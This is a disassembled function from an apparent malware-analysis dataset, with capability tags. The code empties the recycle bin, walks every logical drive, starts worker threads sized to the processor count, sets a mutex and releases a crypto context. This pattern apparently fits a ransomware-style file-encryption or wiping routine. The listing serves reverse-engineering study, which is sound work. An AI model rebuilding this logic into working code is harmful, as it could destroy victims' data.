Function at 0x40ac90
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
call fcn.0040feb0
call fcn.00412e50
call fcn.00404ae0
mov dword [0x414260], eax
cmp dword [0x414260], 0
je 0x40b210
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x38], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x403c08
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40ad24
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x414130], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.00404e20
add esp, 4
mov dword [0x41425c], 1
call fcn.004047d0
call fcn.00404a10
call fcn.00404730
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
shl eax, 2
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
shr ecx, 1
mov dword [ebp - 4], ecx
imul edx, dword [ebp - 0x54], 6
push edx
push 0x41422c
call fcn.00412f20
add esp, 8
imul eax, dword [ebp - 4], 3
push eax
push 0x4141fc
call fcn.00412f20
add esp, 8
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 4]
shl edx, 2
push edx
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
je 0x40b1f3
cmp dword [ebp - 0x20], 0
je 0x40b1f3
mov eax, dword [ebp - 4]
shl eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00412e60
add esp, 0xc
mov edx, dword [ebp - 4]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e60
add esp, 0xc
mov dword [ebp - 0x24], 0
jmp 0x40adfb
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 4]
jae 0x40ae41
push 0
push 0
push 1
push 0x40a8b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x40a8b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [edx + ecx*4], eax
jmp 0x40adf2
push 0x403c14
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x403c24
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404c80
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x40af2e
mov dword [ebp - 0x2c], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], 0
jmp 0x40aea1
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x60]
jge 0x40aecf
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40aecd
xor ecx, ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
jmp 0x40ae98
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x48]
push eax
call fcn.0040aa70
add esp, 4
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00412f00
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jne 0x40aecf
cmp dword [ebp - 8], 0
je 0x40b02c
mov dword [ebp - 0x34], 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x30], 0
jmp 0x40af5e
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x64]
jge 0x40af8c
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x40af8a
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 8]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
jmp 0x40af55
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00412ed0
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x40aff1
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x14]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x40aff1
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + edx]
push ecx
call fcn.0040aba0
add esp, 4
jmp 0x40affd
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040a6b0
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call fcn.00412f00
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
jne 0x40af8c
cmp dword [ebp - 8], 0
jne 0x40b11c
cmp dword [ebp - 0xc], 0
jne 0x40b11c
push 0x403c30
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40b067
push 0x403c54
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x40b071
jmp 0x40b11c
mov dword [ebp - 0x58], 0
push 0x403c78
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404b80
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x40b0a1
mov edx, dword [ebp - 0x58]
push edx
call fcn.0040a9a0
add esp, 4
call fcn.00404500
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x40b0f4
mov eax, 0x41
mov word [ebp - 0x10], ax
jmp 0x40b0cc
mov cx, word [ebp - 0x10]
add cx, 1
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
cmp edx, 0x5a
jg 0x40b0f4
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40b0ea
movzx ecx, word [ebp - 0x10]
push ecx
call fcn.0040aba0
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x40b0c0
push 0x403c80
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00404b80
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x40b11c
mov eax, dword [ebp - 0x58]
push eax
call fcn.0040a9a0
add esp, 4
mov dword [ebp - 0x4c], 0
jmp 0x40b12e
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 4]
jae 0x40b149
push 1
push 0
push 0x4141fc
call fcn.00413040
add esp, 0xc
jmp 0x40b125
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x50], 0
jmp 0x40b16d
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x40b188
push 1
push 0
push 0x41422c
call fcn.00413040
add esp, 0xc
jmp 0x40b164
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.00404730
mov dword [ebp - 0x3c], 0
jmp 0x40b1b1
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 4]
jae 0x40b1db
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b1a8
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00412f00
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412f00
add esp, 4
cmp dword [0x41425c], 0
je 0x40b201
call fcn.00404e60
push 0
mov ecx, dword [0x414260]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]